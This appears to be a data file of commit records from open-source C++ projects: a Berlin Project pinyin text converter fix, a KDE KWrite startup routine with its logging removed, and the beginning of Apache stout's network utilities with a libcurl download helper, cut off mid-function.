{"text":"<commit_before>\/*$Id$\n *\n * This source file is a part of the Berlin Project.\n * Copyright (C) 1999,2000 Tobias Hunger <Tobias@berlin-consortium.org>\n * http:\/\/www.berlin-consortium.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n\n#include \"TextConverter.hh\"\n\nTextConverter::TextConverter(const std::string & file) {\n    tree_map = new Prague::MMap(file,\n\t\t\t\t-1,\n\t\t\t\tPrague::MMap::read,\n\t\t\t\tPrague::MMap::shared,\n\t\t\t\t0,\n\t\t\t\t0);\n    tree = (node *)tree_map->addr();\n    tree_size = tree_map->size() \/ sizeof(node);\n}\n\nBabylon::String\nTextConverter::convert(const Babylon::String & pinyin) const {\n    Babylon::String result;\n\n    if (pinyin.empty()) return result;\n\n    size_t cur_start = 0;\n    size_t cur_end = 0;\n\n    Babylon::String::const_iterator i = pinyin.begin();\n    while (i != pinyin.end()) {\n\tif (i->value() > 127) return result;\n\t\n\tif (cur_start != 0) cur_start = tree[cur_start].Next;\n\n\tcur_start = find_char(char(i->value()), cur_start, tree[cur_start].Next);\n\tif (cur_start == 0xFFFF) return result;\n\n\t++i;\n    }\n\n    cur_end = tree[cur_start + 1].Next;\n    cur_start = tree[cur_start].Next;\n\n    for (size_t i = cur_start; i <= cur_end; i++)\n\tif (tree[i].Unicode != 0)\n\t    result.push_back(tree[i].Unicode);\n    return result;\n}\n\nsize_t\nTextConverter::find_char(const char p,\n\t\t  const size_t s,\n\t\t  const size_t e) const {\n    size_t start = s;\n    size_t end;\n    if (e < tree_size) end = e - 1; \/\/ Next points to the Beginning of the next. \n                                    \/\/ Wow, what a useful comment!\n    else end = tree_size;\n\n    size_t pos = start;\n    while ((start < end) && tree[pos].Char != p) {\n\tpos = (start + end) \/ 2;\n\tif (p < tree[pos].Char)\n\t    end = pos - 1;\n\telse if (p > tree[pos].Char)\n\t    start = pos + 1;\n    }\n\n    if (p == tree[pos].Char)\n\treturn pos;\n    \n    return size_t(0xFFFF);\n}\n<commit_msg>fix to make it compilable with gcc 2.95.2<commit_after>\/*$Id$\n *\n * This source file is a part of the Berlin Project.\n * Copyright (C) 1999,2000 Tobias Hunger <Tobias@berlin-consortium.org>\n * http:\/\/www.berlin-consortium.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 675 Mass Ave, Cambridge,\n * MA 02139, USA.\n *\/\n\n#include \"TextConverter.hh\"\n\nTextConverter::TextConverter(const std::string & file) {\n    tree_map = new Prague::MMap(file,\n\t\t\t\t-1,\n\t\t\t\tPrague::MMap::read,\n\t\t\t\tPrague::MMap::shared,\n\t\t\t\t0,\n\t\t\t\t0);\n    tree = (node *)tree_map->addr();\n    tree_size = tree_map->size() \/ sizeof(node);\n}\n\nBabylon::String\nTextConverter::convert(const Babylon::String & pinyin) const {\n    Babylon::String result;\n\n    if (pinyin.empty()) return result;\n\n    size_t cur_start = 0;\n    size_t cur_end = 0;\n\n    Babylon::String::const_iterator i = pinyin.begin();\n    while (i != pinyin.end()) {\n\tif (i->value() > 127) return result;\n\t\n\tif (cur_start != 0) cur_start = tree[cur_start].Next;\n\n\tcur_start = find_char(char(i->value()), cur_start, tree[cur_start].Next);\n\tif (cur_start == 0xFFFF) return result;\n\n\t++i;\n    }\n\n    cur_end = tree[cur_start + 1].Next;\n    cur_start = tree[cur_start].Next;\n\n    for (size_t i = cur_start; i <= cur_end; i++)\n\tif (tree[i].Unicode != 0)\n\t  result += tree[i].Unicode;\n    return result;\n}\n\nsize_t\nTextConverter::find_char(const char p,\n\t\t  const size_t s,\n\t\t  const size_t e) const {\n    size_t start = s;\n    size_t end;\n    if (e < tree_size) end = e - 1; \/\/ Next points to the Beginning of the next. \n                                    \/\/ Wow, what a useful comment!\n    else end = tree_size;\n\n    size_t pos = start;\n    while ((start < end) && tree[pos].Char != p) {\n\tpos = (start + end) \/ 2;\n\tif (p < tree[pos].Char)\n\t    end = pos - 1;\n\telse if (p > tree[pos].Char)\n\t    start = pos + 1;\n    }\n\n    if (p == tree[pos].Char)\n\treturn pos;\n    \n    return size_t(0xFFFF);\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* This file is part of the KDE project\n   Copyright (C) 2001 Christoph Cullmann <cullmann@kde.org>\n   Copyright (C) 2001 Joseph Wenninger <jowenn@kde.org>\n   Copyright (C) 2001 Anders Lund <anders.lund@lund.tdcadsl.dk>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#include \"kwrite.h\"\n\n#include <ktexteditor\/document.h>\n#include <ktexteditor\/view.h>\n#include <ktexteditor\/editor.h>\n\n#include <KAboutData>\n#include <KLocalizedString>\n#include <KMessageBox>\n#include <KDBusService>\n\n#include <QCommandLineParser>\n#include <QLoggingCategory>\n#include <QApplication>\n#include <QTextCodec>\n#include <QFileInfo>\n#include <QDir>\n\nQ_DECLARE_LOGGING_CATEGORY(LOG_KWRITE)\nQ_LOGGING_CATEGORY(LOG_KWRITE, \"kwrite\")\n\nextern \"C\" Q_DECL_EXPORT int kdemain(int argc, char **argv)\n{\n  QLoggingCategory::setFilterRules(QStringLiteral(\"kwrite = true\"));\n\n  KAboutData aboutData ( QLatin1String(\"kwrite\"), QString(),\n                         i18n(\"KWrite\"),\n                         QLatin1String(KATE_VERSION),\n                         i18n( \"KWrite - Text Editor\" ), KAboutData::License_LGPL_V2,\n                         i18n( \"(c) 2000-2014 The Kate Authors\" ), QString(), QLatin1String(\"http:\/\/kate-editor.org\") );\n  \n  \/**\n   * right dbus prefix == org.kde.\n   *\/\n  aboutData.setOrganizationDomain (QByteArray(\"kde.org\"));\n  \n  aboutData.addAuthor (i18n(\"Christoph Cullmann\"), i18n(\"Maintainer\"), QLatin1String(\"cullmann@kde.org\"), QLatin1String(\"http:\/\/www.cullmann.io\"));\n  aboutData.addAuthor (i18n(\"Anders Lund\"), i18n(\"Core Developer\"), QLatin1String(\"anders@alweb.dk\"), QLatin1String(\"http:\/\/www.alweb.dk\"));\n  aboutData.addAuthor (i18n(\"Joseph Wenninger\"), i18n(\"Core Developer\"), QLatin1String(\"jowenn@kde.org\"), QLatin1String(\"http:\/\/stud3.tuwien.ac.at\/~e9925371\"));\n  aboutData.addAuthor (i18n(\"Hamish Rodda\"),i18n(\"Core Developer\"), QLatin1String(\"rodda@kde.org\"));\n  aboutData.addAuthor (i18n(\"Dominik Haumann\"), i18n(\"Developer & Highlight wizard\"), QLatin1String(\"dhdev@gmx.de\"));\n  aboutData.addAuthor (i18n(\"Waldo Bastian\"), i18n(\"The cool buffersystem\"), QLatin1String(\"bastian@kde.org\") );\n  aboutData.addAuthor (i18n(\"Charles Samuels\"), i18n(\"The Editing Commands\"), QLatin1String(\"charles@kde.org\"));\n  aboutData.addAuthor (i18n(\"Matt Newell\"), i18nc(\"Credit text for someone that did testing and some other similar things\", \"Testing, ...\"), QLatin1String(\"newellm@proaxis.com\"));\n  aboutData.addAuthor (i18n(\"Michael Bartl\"), i18n(\"Former Core Developer\"), QLatin1String(\"michael.bartl1@chello.at\"));\n  aboutData.addAuthor (i18n(\"Michael McCallum\"), i18n(\"Core Developer\"), QLatin1String(\"gholam@xtra.co.nz\"));\n  aboutData.addAuthor (i18n(\"Jochen Wilhemly\"), i18n(\"KWrite Author\"), QLatin1String(\"digisnap@cs.tu-berlin.de\") );\n  aboutData.addAuthor (i18n(\"Michael Koch\"),i18n(\"KWrite port to KParts\"), QLatin1String(\"koch@kde.org\"));\n  aboutData.addAuthor (i18n(\"Christian Gebauer\"), QString(), QLatin1String(\"gebauer@kde.org\") );\n  aboutData.addAuthor (i18n(\"Simon Hausmann\"), QString(), QLatin1String(\"hausmann@kde.org\") );\n  aboutData.addAuthor (i18n(\"Glen Parker\"),i18n(\"KWrite Undo History, Kspell integration\"), QLatin1String(\"glenebob@nwlink.com\"));\n  aboutData.addAuthor (i18n(\"Scott Manson\"),i18n(\"KWrite XML Syntax highlighting support\"), QLatin1String(\"sdmanson@alltel.net\"));\n  aboutData.addAuthor (i18n(\"John Firebaugh\"),i18n(\"Patches and more\"), QLatin1String(\"jfirebaugh@kde.org\"));\n  aboutData.addAuthor (i18n(\"Gerald Senarclens de Grancy\"), i18n(\"QA and Scripting\"), QLatin1String(\"oss@senarclens.eu\"), QLatin1String(\"http:\/\/find-santa.eu\/\"));\n\n  aboutData.addCredit (i18n(\"Matteo Merli\"),i18n(\"Highlighting for RPM Spec-Files, Perl, Diff and more\"), QLatin1String(\"merlim@libero.it\"));\n  aboutData.addCredit (i18n(\"Rocky Scaletta\"),i18n(\"Highlighting for VHDL\"), QLatin1String(\"rocky@purdue.edu\"));\n  aboutData.addCredit (i18n(\"Yury Lebedev\"),i18n(\"Highlighting for SQL\"));\n  aboutData.addCredit (i18n(\"Chris Ross\"),i18n(\"Highlighting for Ferite\"));\n  aboutData.addCredit (i18n(\"Nick Roux\"),i18n(\"Highlighting for ILERPG\"));\n  aboutData.addCredit (i18n(\"Carsten Niehaus\"), i18n(\"Highlighting for LaTeX\"));\n  aboutData.addCredit (i18n(\"Per Wigren\"), i18n(\"Highlighting for Makefiles, Python\"));\n  aboutData.addCredit (i18n(\"Jan Fritz\"), i18n(\"Highlighting for Python\"));\n  aboutData.addCredit (i18n(\"Daniel Naber\"));\n  aboutData.addCredit (i18n(\"Roland Pabel\"),i18n(\"Highlighting for Scheme\"));\n  aboutData.addCredit (i18n(\"Cristi Dumitrescu\"),i18n(\"PHP Keyword\/Datatype list\"));\n  aboutData.addCredit (i18n(\"Carsten Pfeiffer\"), i18nc(\"Credit text for someone that helped a lot\", \"Very nice help\"));\n  aboutData.addCredit (i18n(\"All people who have contributed and I have forgotten to mention\"));\n\n  aboutData.setProgramIconName (QLatin1String(\"accessories-text-editor\"));\n  aboutData.setProductName(QByteArray(\"kate\/kwrite\"));\n  \n  \/**\n   * register about data\n   *\/\n  KAboutData::setApplicationData (aboutData);\n\n  \/**\n   * Create the QApplication with the right options set\n   * take component name and org. name from KAboutData\n   *\/\n  QApplication app (argc, argv);\n  app.setApplicationName (aboutData.componentName());\n  app.setApplicationDisplayName (aboutData.displayName());\n  app.setOrganizationDomain (aboutData.organizationDomain());\n  app.setApplicationVersion (aboutData.version());\n  \n  \/**\n   * Create command line parser and feed it with known options\n   *\/  \n  QCommandLineParser parser;\n  parser.setApplicationDescription(aboutData.shortDescription());\n  parser.addHelpOption();\n  parser.addVersionOption();\n  \n  \/\/ -e\/--encoding option\n  const QCommandLineOption useEncoding (QStringList () << QLatin1String(\"e\") << QLatin1String(\"encoding\"), i18n(\"Set encoding for the file to open.\"), QLatin1String(\"encoding\"));\n  parser.addOption (useEncoding);\n  \n  \/\/ -l\/--line option\n  const QCommandLineOption gotoLine (QStringList () << QLatin1String(\"l\") << QLatin1String(\"line\"), i18n(\"Navigate to this line.\"), QLatin1String(\"line\"));\n  parser.addOption (gotoLine);\n  \n  \/\/ -c\/--column option\n  const QCommandLineOption gotoColumn (QStringList () << QLatin1String(\"c\") << QLatin1String(\"column\"), i18n(\"Navigate to this column.\"), QLatin1String(\"column\"));\n  parser.addOption (gotoColumn);\n\n  \/\/ -i\/--stdin option\n  const QCommandLineOption readStdIn (QStringList () << QLatin1String(\"i\") << QLatin1String(\"stdin\"), i18n(\"Read the contents of stdin.\"));\n  parser.addOption (readStdIn);\n\n  \/\/ --tempfile option\n  const QCommandLineOption tempfile (QStringList () << QLatin1String(\"tempfile\"), i18n(\"The files\/URLs opened by the application will be deleted after use\"));\n  parser.addOption (tempfile);\n  \n  \/\/ urls to open\n  parser.addPositionalArgument(QLatin1String(\"urls\"), i18n(\"Documents to open.\"), QLatin1String(\"[urls...]\"));\n  \n  \/**\n   * do the command line parsing\n   *\/\n  parser.process (app);\n\n  \/\/ read from global config once\n  KTextEditor::Editor::instance()->readConfig(KSharedConfig::openConfig().data());\n  \n  if ( app.isSessionRestored() )\n  {\n    KWrite::restore();\n  }\n  else\n  {\n    bool nav = false;\n    int line = 0, column = 0;\n\n    QTextCodec *codec = parser.isSet(QLatin1String(\"encoding\")) ? QTextCodec::codecForName(parser.value(QLatin1String(\"encoding\")).toLocal8Bit()) : 0;\n\n    if (parser.isSet (QLatin1String(\"line\")))\n    {\n      line = parser.value (QLatin1String(\"line\")).toInt() - 1;\n      nav = true;\n    }\n\n    if (parser.isSet (QLatin1String(\"column\")))\n    {\n      column = parser.value (QLatin1String(\"column\")).toInt() - 1;\n      nav = true;\n    }\n\n    if ( parser.positionalArguments().count() == 0 )\n    {\n        KWrite *t = new KWrite;\n\n        if( parser.isSet( QLatin1String(\"stdin\") ) )\n        {\n          QTextStream input(stdin, QIODevice::ReadOnly);\n\n          \/\/ set chosen codec\n          if (codec)\n            input.setCodec (codec);\n\n          QString line;\n          QString text;\n\n          do\n          {\n            line = input.readLine();\n            text.append( line + QLatin1Char('\\n') );\n          } while( !line.isNull() );\n\n\n          KTextEditor::Document *doc = t->view()->document();\n          if( doc )\n              doc->setText( text );\n        }\n\n        if (nav && t->view())\n          t->view()->setCursorPosition (KTextEditor::Cursor (line, column));\n    }\n    else\n    {\n      int docs_opened = 0;\n      Q_FOREACH (const QString positionalArgument, parser.positionalArguments())\n      {\n        QUrl url;\n\n        \/\/ convert to an url\n        QRegExp withProtocol(QLatin1String(\"^[a-zA-Z]+:\")); \/\/ TODO: remove after Qt supports this on its own\n        if (withProtocol.indexIn(positionalArgument) == 0) {\n          url = QUrl::fromUserInput(positionalArgument);\n        } else {\n          url = QUrl::fromLocalFile(positionalArgument);\n        }\n\n        \/\/ this file is no local dir, open it, else warn\n        bool noDir = !url.isLocalFile() || !QFileInfo (url.toLocalFile()).isDir();\n\n        if (noDir)\n        {\n          ++docs_opened;\n          KWrite *t = new KWrite();\n\n          if (codec)\n            t->view()->document()->setEncoding(QString::fromLatin1(codec->name()));\n\n          t->loadURL( url );\n\n          if (nav)\n            t->view()->setCursorPosition (KTextEditor::Cursor (line, column));\n        }\n        else\n        {\n          KMessageBox::sorry(0, i18n(\"The file '%1' could not be opened: it is not a normal file, it is a folder.\", url.toString()));\n        }\n      }\n      if (!docs_opened) ::exit(1); \/\/ see http:\/\/bugs.kde.org\/show_bug.cgi?id=124708\n    }\n  }\n\n  \/\/ no window there, uh, ohh, for example borked session config !!!\n  \/\/ create at least one !!\n  if (KWrite::noWindows())\n    new KWrite();\n\n  \/**\n   * finally register this kwrite instance for dbus\n   *\/\n  const KDBusService dbusService (KDBusService::Multiple);\n\n  \/**\n   * Run the event loop\n   *\/\n  return app.exec ();\n}\n<commit_msg>no logging stuff used here<commit_after>\/* This file is part of the KDE project\n   Copyright (C) 2001 Christoph Cullmann <cullmann@kde.org>\n   Copyright (C) 2001 Joseph Wenninger <jowenn@kde.org>\n   Copyright (C) 2001 Anders Lund <anders.lund@lund.tdcadsl.dk>\n\n   This library is free software; you can redistribute it and\/or\n   modify it under the terms of the GNU Library General Public\n   License version 2 as published by the Free Software Foundation.\n\n   This library is distributed in the hope that it will be useful,\n   but WITHOUT ANY WARRANTY; without even the implied warranty of\n   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n   Library General Public License for more details.\n\n   You should have received a copy of the GNU Library General Public License\n   along with this library; see the file COPYING.LIB.  If not, write to\n   the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n   Boston, MA 02110-1301, USA.\n*\/\n\n#include \"kwrite.h\"\n\n#include <ktexteditor\/document.h>\n#include <ktexteditor\/view.h>\n#include <ktexteditor\/editor.h>\n\n#include <KAboutData>\n#include <KLocalizedString>\n#include <KMessageBox>\n#include <KDBusService>\n\n#include <QCommandLineParser>\n#include <QApplication>\n#include <QTextCodec>\n#include <QFileInfo>\n#include <QDir>\n\nextern \"C\" Q_DECL_EXPORT int kdemain(int argc, char **argv)\n{\n  KAboutData aboutData ( QLatin1String(\"kwrite\"), QString(),\n                         i18n(\"KWrite\"),\n                         QLatin1String(KATE_VERSION),\n                         i18n( \"KWrite - Text Editor\" ), KAboutData::License_LGPL_V2,\n                         i18n( \"(c) 2000-2014 The Kate Authors\" ), QString(), QLatin1String(\"http:\/\/kate-editor.org\") );\n  \n  \/**\n   * right dbus prefix == org.kde.\n   *\/\n  aboutData.setOrganizationDomain (QByteArray(\"kde.org\"));\n  \n  aboutData.addAuthor (i18n(\"Christoph Cullmann\"), i18n(\"Maintainer\"), QLatin1String(\"cullmann@kde.org\"), QLatin1String(\"http:\/\/www.cullmann.io\"));\n  aboutData.addAuthor (i18n(\"Anders Lund\"), i18n(\"Core Developer\"), QLatin1String(\"anders@alweb.dk\"), QLatin1String(\"http:\/\/www.alweb.dk\"));\n  aboutData.addAuthor (i18n(\"Joseph Wenninger\"), i18n(\"Core Developer\"), QLatin1String(\"jowenn@kde.org\"), QLatin1String(\"http:\/\/stud3.tuwien.ac.at\/~e9925371\"));\n  aboutData.addAuthor (i18n(\"Hamish Rodda\"),i18n(\"Core Developer\"), QLatin1String(\"rodda@kde.org\"));\n  aboutData.addAuthor (i18n(\"Dominik Haumann\"), i18n(\"Developer & Highlight wizard\"), QLatin1String(\"dhdev@gmx.de\"));\n  aboutData.addAuthor (i18n(\"Waldo Bastian\"), i18n(\"The cool buffersystem\"), QLatin1String(\"bastian@kde.org\") );\n  aboutData.addAuthor (i18n(\"Charles Samuels\"), i18n(\"The Editing Commands\"), QLatin1String(\"charles@kde.org\"));\n  aboutData.addAuthor (i18n(\"Matt Newell\"), i18nc(\"Credit text for someone that did testing and some other similar things\", \"Testing, ...\"), QLatin1String(\"newellm@proaxis.com\"));\n  aboutData.addAuthor (i18n(\"Michael Bartl\"), i18n(\"Former Core Developer\"), QLatin1String(\"michael.bartl1@chello.at\"));\n  aboutData.addAuthor (i18n(\"Michael McCallum\"), i18n(\"Core Developer\"), QLatin1String(\"gholam@xtra.co.nz\"));\n  aboutData.addAuthor (i18n(\"Jochen Wilhemly\"), i18n(\"KWrite Author\"), QLatin1String(\"digisnap@cs.tu-berlin.de\") );\n  aboutData.addAuthor (i18n(\"Michael Koch\"),i18n(\"KWrite port to KParts\"), QLatin1String(\"koch@kde.org\"));\n  aboutData.addAuthor (i18n(\"Christian Gebauer\"), QString(), QLatin1String(\"gebauer@kde.org\") );\n  aboutData.addAuthor (i18n(\"Simon Hausmann\"), QString(), QLatin1String(\"hausmann@kde.org\") );\n  aboutData.addAuthor (i18n(\"Glen Parker\"),i18n(\"KWrite Undo History, Kspell integration\"), QLatin1String(\"glenebob@nwlink.com\"));\n  aboutData.addAuthor (i18n(\"Scott Manson\"),i18n(\"KWrite XML Syntax highlighting support\"), QLatin1String(\"sdmanson@alltel.net\"));\n  aboutData.addAuthor (i18n(\"John Firebaugh\"),i18n(\"Patches and more\"), QLatin1String(\"jfirebaugh@kde.org\"));\n  aboutData.addAuthor (i18n(\"Gerald Senarclens de Grancy\"), i18n(\"QA and Scripting\"), QLatin1String(\"oss@senarclens.eu\"), QLatin1String(\"http:\/\/find-santa.eu\/\"));\n\n  aboutData.addCredit (i18n(\"Matteo Merli\"),i18n(\"Highlighting for RPM Spec-Files, Perl, Diff and more\"), QLatin1String(\"merlim@libero.it\"));\n  aboutData.addCredit (i18n(\"Rocky Scaletta\"),i18n(\"Highlighting for VHDL\"), QLatin1String(\"rocky@purdue.edu\"));\n  aboutData.addCredit (i18n(\"Yury Lebedev\"),i18n(\"Highlighting for SQL\"));\n  aboutData.addCredit (i18n(\"Chris Ross\"),i18n(\"Highlighting for Ferite\"));\n  aboutData.addCredit (i18n(\"Nick Roux\"),i18n(\"Highlighting for ILERPG\"));\n  aboutData.addCredit (i18n(\"Carsten Niehaus\"), i18n(\"Highlighting for LaTeX\"));\n  aboutData.addCredit (i18n(\"Per Wigren\"), i18n(\"Highlighting for Makefiles, Python\"));\n  aboutData.addCredit (i18n(\"Jan Fritz\"), i18n(\"Highlighting for Python\"));\n  aboutData.addCredit (i18n(\"Daniel Naber\"));\n  aboutData.addCredit (i18n(\"Roland Pabel\"),i18n(\"Highlighting for Scheme\"));\n  aboutData.addCredit (i18n(\"Cristi Dumitrescu\"),i18n(\"PHP Keyword\/Datatype list\"));\n  aboutData.addCredit (i18n(\"Carsten Pfeiffer\"), i18nc(\"Credit text for someone that helped a lot\", \"Very nice help\"));\n  aboutData.addCredit (i18n(\"All people who have contributed and I have forgotten to mention\"));\n\n  aboutData.setProgramIconName (QLatin1String(\"accessories-text-editor\"));\n  aboutData.setProductName(QByteArray(\"kate\/kwrite\"));\n  \n  \/**\n   * register about data\n   *\/\n  KAboutData::setApplicationData (aboutData);\n\n  \/**\n   * Create the QApplication with the right options set\n   * take component name and org. name from KAboutData\n   *\/\n  QApplication app (argc, argv);\n  app.setApplicationName (aboutData.componentName());\n  app.setApplicationDisplayName (aboutData.displayName());\n  app.setOrganizationDomain (aboutData.organizationDomain());\n  app.setApplicationVersion (aboutData.version());\n  \n  \/**\n   * Create command line parser and feed it with known options\n   *\/  \n  QCommandLineParser parser;\n  parser.setApplicationDescription(aboutData.shortDescription());\n  parser.addHelpOption();\n  parser.addVersionOption();\n  \n  \/\/ -e\/--encoding option\n  const QCommandLineOption useEncoding (QStringList () << QLatin1String(\"e\") << QLatin1String(\"encoding\"), i18n(\"Set encoding for the file to open.\"), QLatin1String(\"encoding\"));\n  parser.addOption (useEncoding);\n  \n  \/\/ -l\/--line option\n  const QCommandLineOption gotoLine (QStringList () << QLatin1String(\"l\") << QLatin1String(\"line\"), i18n(\"Navigate to this line.\"), QLatin1String(\"line\"));\n  parser.addOption (gotoLine);\n  \n  \/\/ -c\/--column option\n  const QCommandLineOption gotoColumn (QStringList () << QLatin1String(\"c\") << QLatin1String(\"column\"), i18n(\"Navigate to this column.\"), QLatin1String(\"column\"));\n  parser.addOption (gotoColumn);\n\n  \/\/ -i\/--stdin option\n  const QCommandLineOption readStdIn (QStringList () << QLatin1String(\"i\") << QLatin1String(\"stdin\"), i18n(\"Read the contents of stdin.\"));\n  parser.addOption (readStdIn);\n\n  \/\/ --tempfile option\n  const QCommandLineOption tempfile (QStringList () << QLatin1String(\"tempfile\"), i18n(\"The files\/URLs opened by the application will be deleted after use\"));\n  parser.addOption (tempfile);\n  \n  \/\/ urls to open\n  parser.addPositionalArgument(QLatin1String(\"urls\"), i18n(\"Documents to open.\"), QLatin1String(\"[urls...]\"));\n  \n  \/**\n   * do the command line parsing\n   *\/\n  parser.process (app);\n\n  \/\/ read from global config once\n  KTextEditor::Editor::instance()->readConfig(KSharedConfig::openConfig().data());\n  \n  if ( app.isSessionRestored() )\n  {\n    KWrite::restore();\n  }\n  else\n  {\n    bool nav = false;\n    int line = 0, column = 0;\n\n    QTextCodec *codec = parser.isSet(QLatin1String(\"encoding\")) ? QTextCodec::codecForName(parser.value(QLatin1String(\"encoding\")).toLocal8Bit()) : 0;\n\n    if (parser.isSet (QLatin1String(\"line\")))\n    {\n      line = parser.value (QLatin1String(\"line\")).toInt() - 1;\n      nav = true;\n    }\n\n    if (parser.isSet (QLatin1String(\"column\")))\n    {\n      column = parser.value (QLatin1String(\"column\")).toInt() - 1;\n      nav = true;\n    }\n\n    if ( parser.positionalArguments().count() == 0 )\n    {\n        KWrite *t = new KWrite;\n\n        if( parser.isSet( QLatin1String(\"stdin\") ) )\n        {\n          QTextStream input(stdin, QIODevice::ReadOnly);\n\n          \/\/ set chosen codec\n          if (codec)\n            input.setCodec (codec);\n\n          QString line;\n          QString text;\n\n          do\n          {\n            line = input.readLine();\n            text.append( line + QLatin1Char('\\n') );\n          } while( !line.isNull() );\n\n\n          KTextEditor::Document *doc = t->view()->document();\n          if( doc )\n              doc->setText( text );\n        }\n\n        if (nav && t->view())\n          t->view()->setCursorPosition (KTextEditor::Cursor (line, column));\n    }\n    else\n    {\n      int docs_opened = 0;\n      Q_FOREACH (const QString positionalArgument, parser.positionalArguments())\n      {\n        QUrl url;\n\n        \/\/ convert to an url\n        QRegExp withProtocol(QLatin1String(\"^[a-zA-Z]+:\")); \/\/ TODO: remove after Qt supports this on its own\n        if (withProtocol.indexIn(positionalArgument) == 0) {\n          url = QUrl::fromUserInput(positionalArgument);\n        } else {\n          url = QUrl::fromLocalFile(positionalArgument);\n        }\n\n        \/\/ this file is no local dir, open it, else warn\n        bool noDir = !url.isLocalFile() || !QFileInfo (url.toLocalFile()).isDir();\n\n        if (noDir)\n        {\n          ++docs_opened;\n          KWrite *t = new KWrite();\n\n          if (codec)\n            t->view()->document()->setEncoding(QString::fromLatin1(codec->name()));\n\n          t->loadURL( url );\n\n          if (nav)\n            t->view()->setCursorPosition (KTextEditor::Cursor (line, column));\n        }\n        else\n        {\n          KMessageBox::sorry(0, i18n(\"The file '%1' could not be opened: it is not a normal file, it is a folder.\", url.toString()));\n        }\n      }\n      if (!docs_opened) ::exit(1); \/\/ see http:\/\/bugs.kde.org\/show_bug.cgi?id=124708\n    }\n  }\n\n  \/\/ no window there, uh, ohh, for example borked session config !!!\n  \/\/ create at least one !!\n  if (KWrite::noWindows())\n    new KWrite();\n\n  \/**\n   * finally register this kwrite instance for dbus\n   *\/\n  const KDBusService dbusService (KDBusService::Multiple);\n\n  \/**\n   * Run the event loop\n   *\/\n  return app.exec ();\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>ZMQhistSource: pack histos in AliHLTObjArray<commit_after><|endoftext|>"}
{"text":"<commit_before>\/**\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *  http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#ifndef __STOUT_NET_HPP__\n#define __STOUT_NET_HPP__\n\n#if defined(__linux__) || defined(__APPLE__)\n#include <ifaddrs.h>\n#endif\n#include <netdb.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#include <arpa\/inet.h>\n\n#ifdef __linux__\n#include <linux\/if_packet.h>\n#endif\n\n#include <net\/if.h>\n#ifdef __APPLE__\n#include <net\/if_dl.h>\n#include <net\/if_types.h>\n#endif\n\n#include <sys\/param.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n\n#include <curl\/curl.h>\n\n#include <iostream>\n#include <set>\n#include <string>\n\n#include \"abort.hpp\"\n#include \"error.hpp\"\n#include \"none.hpp\"\n#include \"option.hpp\"\n#include \"os.hpp\"\n#include \"result.hpp\"\n#include \"stringify.hpp\"\n#include \"try.hpp\"\n\n\n\/\/ Network utilities.\nnamespace net {\n\n\/\/ Returns the HTTP response code resulting from attempting to download the\n\/\/ specified HTTP or FTP URL into a file at the specified path.\ninline Try<int> download(const std::string& url, const std::string& path)\n{\n  Try<int> fd = os::open(\n      path, O_CREAT | O_WRONLY, S_IRUSR | S_IWUSR | S_IRGRP | S_IRWXO);\n\n  if (fd.isError()) {\n    return Error(fd.error());\n  }\n\n  curl_global_init(CURL_GLOBAL_ALL);\n  CURL* curl = curl_easy_init();\n\n  if (curl == NULL) {\n    curl_easy_cleanup(curl);\n    os::close(fd.get());\n    return Error(\"Failed to initialize libcurl\");\n  }\n\n  curl_easy_setopt(curl, CURLOPT_URL, url.c_str());\n  curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, NULL);\n\n  FILE* file = fdopen(fd.get(), \"w\");\n  if (file == NULL) {\n    return ErrnoError(\"Failed to open file handle of '\" + path + \"'\");\n  }\n  curl_easy_setopt(curl, CURLOPT_WRITEDATA, file);\n\n  CURLcode curlErrorCode = curl_easy_perform(curl);\n  if (curlErrorCode != 0) {\n    curl_easy_cleanup(curl);\n    fclose(file);\n    return Error(curl_easy_strerror(curlErrorCode));\n  }\n\n  long code;\n  curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &code);\n  curl_easy_cleanup(curl);\n\n  if (fclose(file) != 0) {\n    return ErrnoError(\"Failed to close file handle of '\" + path + \"'\");\n  }\n\n  return Try<int>::some(code);\n}\n\n\n\/\/ Returns a Try of the hostname for the provided IP. If the hostname cannot\n\/\/ be resolved, then a string version of the IP address is returned.\ninline Try<std::string> getHostname(uint32_t ip)\n{\n  sockaddr_in addr;\n  memset(&addr, 0, sizeof(addr));\n  